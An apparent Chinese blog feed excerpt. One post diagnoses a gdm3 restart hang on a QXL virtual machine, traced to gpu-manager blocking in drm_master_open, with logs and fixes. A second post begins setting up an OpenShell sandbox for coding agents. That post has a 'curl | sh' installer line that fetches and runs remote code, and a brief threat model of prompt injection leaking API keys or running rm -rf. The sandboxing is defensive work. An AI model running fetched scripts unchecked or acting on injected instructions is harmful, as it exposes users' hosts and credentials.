&lt;p&gt;本机（Ubuntu 24.04 虚拟机，QEMU&#x2F;KVM + QXL 虚拟显卡）执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl restart gdm3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;命令长时间不返回，终端像卡死；Ctrl-C 之后重跑还是卡。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-jian-xian-qia-zai-gpu-manager-bu-shi-gdm3&quot;&gt;时间线：卡在 gpu-manager，不是 gdm3&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;journalctl -u gdm3&lt;&#x2F;code&gt; 把两次 restart 的时间线拉出来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;22:14:13 systemd[1]: Stopping gdm3.service - LSB: GNOME Display Manager...
22:14:33 systemd[1]: Stopped gdm3.service - LSB: GNOME Display Manager.    ← stop 花了 20s
22:14:33 systemd[1]: Starting gpu-manager.service - Detect the available GPUs...
22:16:36 systemd[1]: Finished gpu-manager.service - Detect the available GPUs...
22:16:36 systemd[1]: Starting gdm3.service - LSB: GNOME Display Manager...  ← 等 gpu-manager 结束才开始
22:16:36 systemd[1]: Started gdm3.service - LSB: GNOME Display Manager.     ← gdm3 本身瞬间完成
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第二次同样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;22:20:58 Stopped gdm3.service
22:22:30 Finished gpu-manager.service    ← 1m32s
22:22:30 Started gdm3.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;耗时几乎全部花在 &lt;code&gt;gpu-manager.service&lt;&#x2F;code&gt; 上：&lt;strong&gt;gdm3 的启动在等它跑完&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;顺带一个容易误判的点：Ctrl-C 只会结束 &lt;code&gt;systemctl&lt;&#x2F;code&gt; 客户端进程，systemd 里的 job 仍在继续。本机第一次 restart 的客户端进程在 22:16:22 就退出了，而 job 到 22:16:36 才真正完成——所以&quot;Ctrl-C 没反应&quot;只是假象，实际是 job 还没跑完。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yi-lai-lian-restart-gdm3-wei-shen-me-hui-la-qi-gpu-manager&quot;&gt;依赖链：restart gdm3 为什么会拉起 gpu-manager&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;gpu-manager.service&lt;&#x2F;code&gt; 由 Ubuntu 的 ubuntu-drivers-common 提供（检测 GPU 变化、处理显卡驱动切换），它的单元声明：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;gpu-manager.service
[Unit]
Before=display-manager.service
...
[Install]
WantedBy=display-manager.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而 &lt;code&gt;display-manager.service&lt;&#x2F;code&gt; 在本机是指向 gdm3 的别名，安装时生成的 wants 链接把它绑进了 display-manager 的启动事务：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ls &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;display-manager.service.wants&amp;#x2F;
gpu-manager.service -&amp;gt; &amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;gpu-manager.service

$ systemctl show gdm3 -p Wants,After
Wants=gpu-manager.service
After=... gpu-manager.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是每次 start&#x2F;restart gdm3：systemd 先按依赖拉起 gpu-manager，又因为 &lt;code&gt;Before=display-manager.service&lt;&#x2F;code&gt;，gdm3 的启动必须排在它后面——gpu-manager 不结束，gdm3 就不会开始。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-chui-dan-pao-gpu-manager-ye-qia-qia-zai-nei-he-drm-master-open&quot;&gt;实锤：单跑 gpu-manager 也卡，卡在内核 drm_master_open&lt;&#x2F;h1&gt;
&lt;p&gt;单独跑 gpu-manager，同样不返回：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ time timeout 40 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gpu-manager --log &amp;#x2F;tmp&amp;#x2F;gm-test.log
real    0m48.337s
user    0m0.042s      ← 几乎不耗 CPU
sys     0m0.033s
rc=124                ← 被 timeout 杀掉
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CPU 只有 0.04 秒，说明它在&lt;strong&gt;等&lt;&#x2F;strong&gt;而不是在算。抓卡住时的进程状态与内核栈：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ grep State &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;status
State:  D (disk sleep)      ← 不可中断睡眠

$ cat &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;wchan
drm_master_open

$ cat &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;stack
[&amp;lt;0&amp;gt;] drm_master_open+0x2b&amp;#x2F;0xc0
[&amp;lt;0&amp;gt;] drm_open_helper+0x109&amp;#x2F;0x130
[&amp;lt;0&amp;gt;] drm_open+0x76&amp;#x2F;0x130
[&amp;lt;0&amp;gt;] drm_stub_open+0xb3&amp;#x2F;0xf0
[&amp;lt;0&amp;gt;] chrdev_open+0xcf&amp;#x2F;0x250
[&amp;lt;0&amp;gt;] do_dentry_open+0x21d&amp;#x2F;0x570
[&amp;lt;0&amp;gt;] vfs_open+0x33&amp;#x2F;0x50
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;gpu-manager 在打开 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;card1&lt;&#x2F;code&gt;（QXL 显卡的 DRM 设备）时阻塞在内核 &lt;code&gt;drm_master_open&lt;&#x2F;code&gt;：进程处于 D 状态（不可中断），信号也打不断。它的业务逻辑其实已经跑完（日志里 &lt;code&gt;Skipping &#x2F;dev&#x2F;dri&#x2F;card1, driven by qxl&lt;&#x2F;code&gt; → &lt;code&gt;Single card detected&lt;&#x2F;code&gt;），卡的只是这次 open 系统调用。约 1.5~2 分钟后自行解除（两次实测 2m03s &#x2F; 1m32s），具体是谁持有内核锁没有继续深挖——定位到这一步，修复方向已经清楚。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ben-ji-te-li-gdm3-qi-shi-yi-jing-bu-cun-zai&quot;&gt;本机特例：gdm3 其实已经不存在&lt;&#x2F;h1&gt;
&lt;p&gt;这台机器上 gdm3 包早已被移除（&lt;code&gt;dpkg -l gdm3&lt;&#x2F;code&gt; 状态为 &lt;code&gt;rc&lt;&#x2F;code&gt;，只剩配置文件），&lt;code&gt;&#x2F;usr&#x2F;sbin&#x2F;gdm3&lt;&#x2F;code&gt; 不存在；残留的 &lt;code&gt;&#x2F;etc&#x2F;init.d&#x2F;gdm3&lt;&#x2F;code&gt; 被 systemd 生成成 &lt;code&gt;gdm3.service&lt;&#x2F;code&gt;，而脚本开头是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;DAEMON=&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;gdm3
test -x $DAEMON || exit 0     ← 二进制不存在，start 直接退出 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以等完 gpu-manager 那 2 分钟，GDM 也不会真的启动——unit 显示 &lt;code&gt;Started&lt;&#x2F;code&gt; 只是 init 脚本空转退出 0。这个 restart 除了等 2 分钟之外什么也没发生。&lt;&#x2F;p&gt;
&lt;p&gt;（这也说明判断&quot;服务起没起&quot;不能只看 &lt;code&gt;systemctl status&lt;&#x2F;code&gt; 的 Active 状态，要看进程是否真的存在。）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;2026-09-13 更新：本节记录的是当时的残留状态。桌面栈已重装（起因见文末「背景补记」），gdm3 现在是原生 &lt;code&gt;gdm.service&lt;&#x2F;code&gt;，这个特例已不存在。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;xiu-fu-fang-an-2026-09-13-shi-ce-fang-an-1-sheng-xiao&quot;&gt;修复方案（2026-09-13 实测：方案 1 生效）&lt;&#x2F;h1&gt;
&lt;p&gt;按场景选：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;还在用 GDM&lt;&#x2F;strong&gt;：屏蔽 gpu-manager 即可——&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl mask gpu-manager.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;QXL 虚拟机上 gpu-manager 没有用途（它服务于 NVIDIA&#x2F;AMD 专有驱动切换）；mask 后 &lt;code&gt;Wants&lt;&#x2F;code&gt; 依赖会立即失败，gdm3 照常启动（Wants 非强制）。需要时 &lt;code&gt;systemctl unmask&lt;&#x2F;code&gt; 恢复。本机 2026-09-13 实测：mask 后安装&#x2F;启动 gdm3 均无卡顿，2 分钟等待消失。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不用 GDM&lt;&#x2F;strong&gt;：清掉残留，避免再踩——&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt purge gdm3          # 清 &amp;#x2F;etc&amp;#x2F;init.d&amp;#x2F;gdm3 + &amp;#x2F;etc&amp;#x2F;X11&amp;#x2F;default-display-manager
sudo systemctl daemon-reload
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;只想命令别卡&lt;&#x2F;strong&gt;：&lt;code&gt;systemctl restart gdm3 --no-block&lt;&#x2F;code&gt;（立即返回，但实际启动仍要等 gpu-manager）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;也可用 drop-in 摘掉依赖，但不如 mask 直接。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;2026-09-13-hou-xu-zhuo-mian-zhan-zhong-zhuang-qxl-xian-cun-hao-jin&quot;&gt;2026-09-13 后续：桌面栈重装、QXL 显存耗尽&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing-bu-ji-zhuo-mian-zhan-wei-shen-me-yi-jing-bu-cun-zai&quot;&gt;背景补记：桌面栈为什么&quot;已经不存在&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;07-24 的一次清理是起因：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Commandline: apt purge --autoremove snapd libsnapd-glib-2-1
Purge: ... ubuntu-desktop, ubuntu-desktop-minimal, gnome-shell, gdm3, ubuntu-session, gnome-remote-desktop, gnome-control-center ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ubuntu-desktop&lt;&#x2F;code&gt; 依赖的 firefox&#x2F;thunderbird 是 snap 过渡包，过渡包依赖 snapd——&lt;code&gt;--autoremove&lt;&#x2F;code&gt; 顺着依赖链把整个桌面栈连坐了。表现：&lt;code&gt;dpkg -l&lt;&#x2F;code&gt; 里 gnome-shell&#x2F;gdm3 全是 &lt;code&gt;rc&lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;usr&#x2F;share&#x2F;xsessions&lt;&#x2F;code&gt; 消失、控制台只剩 tty1 文本登录。&lt;&#x2F;p&gt;
&lt;p&gt;重装（在 mask gpu-manager 之后执行）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y gdm3
# 79 新装 + 28 升级，含 gnome-shell&amp;#x2F;ubuntu-session&amp;#x2F;gnome-remote-desktop&amp;#x2F;gnome-control-center
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;教训：&lt;code&gt;apt purge --autoremove&lt;&#x2F;code&gt; 删基础包（如 snapd）前先 &lt;code&gt;apt-get -s&lt;&#x2F;code&gt; 模拟看 Remove 列表；snap 过渡包会把删除面放大成桌面级事故。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xin-keng-qxl-xian-cun-bo-hao-jin-greeter-qi-liao-dan-hua-bu-chu-lai&quot;&gt;新坑：QXL 显存 BO 耗尽，greeter 起了但画不出来&lt;&#x2F;h2&gt;
&lt;p&gt;重装后 &lt;code&gt;gdm.service&lt;&#x2F;code&gt; active、&lt;code&gt;gnome-shell&lt;&#x2F;code&gt; 进程也在（日志已到 &lt;code&gt;Registering session with GDM&lt;&#x2F;code&gt;），但 VM 控制台仍是 tty1 文本。内核日志在刷：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;[drm:qxl_alloc_bo_reserved [qxl]] *ERROR* failed to allocate VRAM BO
[TTM] Buffer eviction failed
qxl 0000:00:01.0: object_init failed for (4096, 0x00000001)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每 ~15 秒一次，且从当天 17:55 就开始（远早于重装）——QXL 显存被更早的某次图形操作耗尽后状态粘住，&lt;strong&gt;重启 VM 复位后 GDM 登录界面正常渲染&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;至此这台机器的 QXL 集齐了三种形态：&lt;code&gt;drm_master_open&lt;&#x2F;code&gt; 阻塞（gpu-manager）、没有 renderD128（纯 2D 卡）、显存 BO 耗尽（本次）。最终按 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;wayland-migration-toolchain&#x2F;&quot;&gt;工具链迁移 Wayland&lt;&#x2F;a&gt; 一文的实测方案把显卡换成 &lt;code&gt;virtio-vga-gl&lt;&#x2F;code&gt;，QXL 相关问题整体消失。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systemctl restart gdm3&lt;&#x2F;code&gt; 卡住 ≠ gdm3 卡住：是 &lt;code&gt;gpu-manager.service&lt;&#x2F;code&gt; 被 &lt;code&gt;display-manager.service.wants&lt;&#x2F;code&gt; 拉进事务，且 &lt;code&gt;Before=display-manager.service&lt;&#x2F;code&gt;，gdm3 的启动全程等它；&lt;&#x2F;li&gt;
&lt;li&gt;gpu-manager 卡在内核 &lt;code&gt;drm_master_open&lt;&#x2F;code&gt;（打开 QXL 的 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;card1&lt;&#x2F;code&gt;，D 状态，约 2 分钟后自行解除），单跑可复现，与 gdm3 无关；&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl-C 杀不掉卡住的 restart：只结束 systemctl 客户端，systemd 的 job 照跑；&lt;&#x2F;li&gt;
&lt;li&gt;排查套路：journal 时间线定位&quot;谁在等谁&quot;→ 单元依赖（&lt;code&gt;systemctl show -p Wants,After&lt;&#x2F;code&gt;）→ 单跑复现 → &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;wchan&lt;&#x2F;code&gt; + &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;stack&lt;&#x2F;code&gt; 拿内核栈；&lt;&#x2F;li&gt;
&lt;li&gt;本机 gdm3 曾 remove（rc）、init 脚本 &lt;code&gt;test -x&lt;&#x2F;code&gt; 空转（2026-09-13 已重装为原生 &lt;code&gt;gdm.service&lt;&#x2F;code&gt;）；mask gpu-manager 实测生效；&lt;&#x2F;li&gt;
&lt;li&gt;后续新坑：桌面栈被 &lt;code&gt;apt purge --autoremove snapd&lt;&#x2F;code&gt; 连坐移除；QXL 显存 BO 耗尽会让 greeter&quot;起了但画不出&quot;，重启复位；根治是换 &lt;code&gt;virtio-vga-gl&lt;&#x2F;code&gt;（实测见「工具链迁移 Wayland」那篇）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;pai-cha-ming-ling-su-cha&quot;&gt;排查命令速查&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;目的&lt;&#x2F;th&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;看 restart 卡在哪个阶段&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;journalctl -u gdm3 --since &quot;5 min ago&quot; -o short-precise&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;看单元依赖（谁拉起谁、谁等谁）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;systemctl show &amp;lt;unit&amp;gt; -p Wants,After,Before&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;看依赖安装链接&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ls &#x2F;etc&#x2F;systemd&#x2F;system&#x2F;display-manager.service.wants&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;单跑复现 + 计时&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;time timeout 40 &#x2F;usr&#x2F;bin&#x2F;gpu-manager --log &#x2F;tmp&#x2F;gm.log&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;卡住进程的内核栈&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;cat &#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;wchan; cat &#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;stack&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;看 systemd 当前 job&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;systemctl list-jobs&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>把 Hermes 关进 OpenShell 沙箱（基于 pi 镜像）：rootless Podman 与凭证不落地</title>
        <published>2026-09-11T17:30:07+08:00</published>
        <updated>2026-09-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/openshell-pi-hermes-sandbox/"/>
        <id>https://vercel.juzhong.asia/2026/09/openshell-pi-hermes-sandbox/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/openshell-pi-hermes-sandbox/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;我有一台 Ubuntu 桌面 VM（下面叫 dut），平时在上面跑两个 agent：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;pi&lt;&#x2F;strong&gt;：极简的终端编码 agent（&lt;code&gt;@earendil-works&#x2F;pi-coding-agent&lt;&#x2F;code&gt;）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Hermes&lt;&#x2F;strong&gt;：Nous Research 的自改进 agent，带 Web dashboard。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;2026-09 更新：沙箱最终常驻跑的是 Hermes，沙箱名 &#x2F; provider &#x2F; 仓库目录已从 &lt;code&gt;pi&lt;&#x2F;code&gt; 统一改名为 &lt;code&gt;hermes&lt;&#x2F;code&gt;（镜像仍是上游 pi 镜像，pi 在镜像里可作备用）；文中命令均已用新名字。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;直接跑在宿主上有三个担心：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;隐私文件&lt;&#x2F;strong&gt;：agent 的 &lt;code&gt;bash&lt;&#x2F;code&gt; 工具能读 &lt;code&gt;~&#x2F;.ssh&lt;&#x2F;code&gt;、&lt;code&gt;~&#x2F;.password-store&lt;&#x2F;code&gt;、各种文档；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;密钥&lt;&#x2F;strong&gt;：模型 API key 在进程环境或配置里，prompt injection 可以把 key 外传；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;破坏性操作&lt;&#x2F;strong&gt;：&lt;code&gt;rm -rf&lt;&#x2F;code&gt; 直接作用在宿主文件系统。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;目标：把 agent 关进沙箱，文件只读&#x2F;只写工作区、出网白名单、&lt;strong&gt;真 key 不进入 agent 进程&lt;&#x2F;strong&gt;，同时保留可观测性。最后选了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NVIDIA&#x2F;OpenShell&quot;&gt;NVIDIA OpenShell&lt;&#x2F;a&gt;——它的 policy 引擎正好覆盖这三件事。&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章分两部分：OpenShell 的部署与 policy 字段详解；以及在沙箱里加装 Hermes 的完整过程和持久化取舍。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;openshell-jia-gou-su-lan&quot;&gt;OpenShell 架构速览&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;CLI ──mTLS──▶ openshell-gateway（控制面，systemd 用户服务，127.0.0.1:17670）
                  │ 通过 compute driver 管理沙箱
                  ▼
          sandbox 容器（rootless podman）
            └─ supervisor（PID 1，root）
                 ├─ 把 agent 降权到 sandbox 用户、清 capability
                 ├─ 应用 filesystem policy（Landlock LSM）
                 ├─ 建 agent netns + 在 10.200.0.1:3128 跑正向代理
                 └─ 每次连接按 binary+endpoint 做 OPA 判权、L7 时终结 TLS 替换凭证
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;几个容易误解的点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker&#x2F;Podman 只是计算驱动&lt;&#x2F;strong&gt;（可换 k8s&#x2F;VM），不是权限边界本身；真正的限制是 supervisor 里的 policy 层；&lt;&#x2F;li&gt;
&lt;li&gt;沙箱网络和宿主&lt;strong&gt;不是同一个网络&lt;&#x2F;strong&gt;：agent 在嵌套 netns（&lt;code&gt;veth-s&lt;&#x2F;code&gt; 10.200.0.2&#x2F;24，默认路由指向 supervisor 的 &lt;code&gt;10.200.0.1&lt;&#x2F;code&gt;），实测除代理端口外什么都不可达（podman 网关、宿主 LAN、公网 IP、&lt;code&gt;host.openshell.internal&lt;&#x2F;code&gt; 全不通），DNS 也是代理侧解析；&lt;&#x2F;li&gt;
&lt;li&gt;出口是&lt;strong&gt;应用层正向代理&lt;&#x2F;strong&gt;（不是 NAT）：TLS 终结、OPA 策略、凭证占位符替换、OCSF 审计日志一条龙。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bu-shu&quot;&gt;部署&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-zhuang-openshell&quot;&gt;1. 装 OpenShell&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export https_proxy=http:&amp;#x2F;&amp;#x2F;192.168.5.244:10808
curl -LsSf https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;NVIDIA&amp;#x2F;OpenShell&amp;#x2F;main&amp;#x2F;install.sh | sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;装的是 Debian 包：CLI + gateway + systemd &lt;strong&gt;用户服务&lt;&#x2F;strong&gt;。装完 gateway 会自动起；&lt;code&gt;openshell status&lt;&#x2F;code&gt; 显示 &lt;code&gt;Connected&lt;&#x2F;code&gt; + &lt;code&gt;Authenticated (mTLS)&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-ji-suan-qu-dong-cong-docker-huan-rootless-podman&quot;&gt;2. 计算驱动：从 Docker 换 rootless Podman&lt;&#x2F;h2&gt;
&lt;p&gt;这台机器原本用 Docker。换 Podman 的原因很实际：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;拉镜像的代理&lt;&#x2F;strong&gt;：podman 拉取是客户端行为，&lt;code&gt;export HTTPS_PROXY&lt;&#x2F;code&gt; 直接生效；docker 是 daemon 拉，客户端 export 无效，必须改 &lt;code&gt;docker.service.d&lt;&#x2F;code&gt; 并重启 daemon（我不想动 Docker 配置，也不想重启跑着服务的 Docker）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;权限&lt;&#x2F;strong&gt;：rootless podman socket 天然属于用户，gateway 不需要 docker 组、不用改 socket 权限；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;podman-docker&lt;&#x2F;code&gt; 提供 &lt;code&gt;docker&lt;&#x2F;code&gt; CLI 兼容层，旧脚本基本无痛。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install -y podman podman-compose podman-docker passt uidmap slirp4netns
systemctl --user enable --now podman.socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后让网关切到 podman 驱动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;# ~&amp;#x2F;.config&amp;#x2F;openshell&amp;#x2F;gateway.toml
[openshell.gateway]
compute_drivers = [&amp;quot;podman&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user restart openshell-gateway
journalctl --user -u openshell-gateway -n 20 | grep -i driver
# INFO openshell_driver_podman::driver: Connected to Podman ... rootless=true rootless_network_cmd=pasta
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;坑：卸载 Docker 时 purge &lt;code&gt;containerd.io&lt;&#x2F;code&gt; 会&lt;strong&gt;连带删掉 &lt;code&gt;runc&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（podman 当时用的 OCI runtime），正在跑的沙箱容器直接变 unhealthy&#x2F;Error，补装 &lt;code&gt;apt install runc&lt;&#x2F;code&gt; 后重建沙箱即可。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;3-la-jing-xiang&quot;&gt;3. 拉镜像&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export https_proxy=http:&amp;#x2F;&amp;#x2F;192.168.5.244:10808
podman pull ghcr.io&amp;#x2F;nvidia&amp;#x2F;openshell&amp;#x2F;supervisor:0.0.116
podman pull ghcr.io&amp;#x2F;nvidia&amp;#x2F;openshell-community&amp;#x2F;sandboxes&amp;#x2F;pi:latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
